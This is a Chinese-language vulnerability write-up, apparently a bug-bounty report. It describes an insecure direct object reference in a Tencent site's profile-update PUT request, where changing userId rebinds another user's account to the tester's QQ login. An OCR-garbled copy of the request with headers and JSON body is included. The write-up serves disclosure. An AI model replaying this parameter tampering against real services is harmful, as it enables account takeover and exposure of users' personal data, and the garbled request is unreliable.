https://ycg.qq.com/setting
记忆中这个站点是可以引入第三方资源的 想来试试401钓鱼
结果发现网站改版了 ！
还是先来到记忆中可引入第三方资源的地方 保存个人信息头像处
数据包如下 一个put请求
[image: ]
开始将userId改成他人的 其他不动 发现他的信息就被我改了 以为只是个简单的越权。。
后来再看看 还有个username password参数 难道还可以设置账号密码？
随便输入了 username和password之后 就put上去了 重新登录 也没发现 需要账号密码啊 始终是qq登录
但当我点开我个人信息的时候 惊讶的发现 我的信息变成别人的了！！ 
[image: C:\Users\catchme\Documents\Tencent Files\631900241\Image\C2C\76M{$C)_6~{BDHET`84E_PB.jpg]
再回来看下数据包 恍然大悟
[image: ]
这里userId与qq号绑定
[bookmark: _GoBack]所以就是 你想登录哪个用户 你就将他的id与你qq号绑定就完了！！
image1.png
PUT /my/profile HTTP/1.1
Host: mycg.qq.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101
Firefox/56.0

Accept: applicationy/json, text/plain, */*
Accept-Language: zh-CN ! en-U.
Accept-Encoding: gzip, deflate
Content-Length: 748

Content-Type: application/jsonicharset=utf-8

Referer: https://ycg.qq.com/setting
X-Token: ZpeE2HdmlePk
X-Source: ycg.ga.com

Origin: https://ycg.qg.com
Connection: close
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Connection: C‘V \

{"userld"440316,"username":"","password":"","qq" "nickname":"tsrc
" limits 0, "avatar""https://security.tencent.com/static/v2.0/images/logo@1x.png
"name "nul,"major"{*"],"address™{"000000","001100","001122")"about™"www",
"blog""www.baidu.com”,"workshop’ stLogin"nul,"admin”0, "views"18,"re
gisterTime™1511798400,"recommend"0, "recommend_time":0,"bitmap":null"user_
ext"{"userld"nul, "name "null"idNumber"nul, "phone "null"email”null “idCardFron
tPhoto"nul"idCardBackPhoto"null idHoldingPhotonull.idVerifier"null "idStatus
"inul idAuthFail"nul, "bank"nul,"address"{]"bankAccount™null,"bankCardPhoto”
nul"bankVerifier"null, "bankStatus"nul, "bankAuthFai "null "createAt™null "update
Atmnuil)





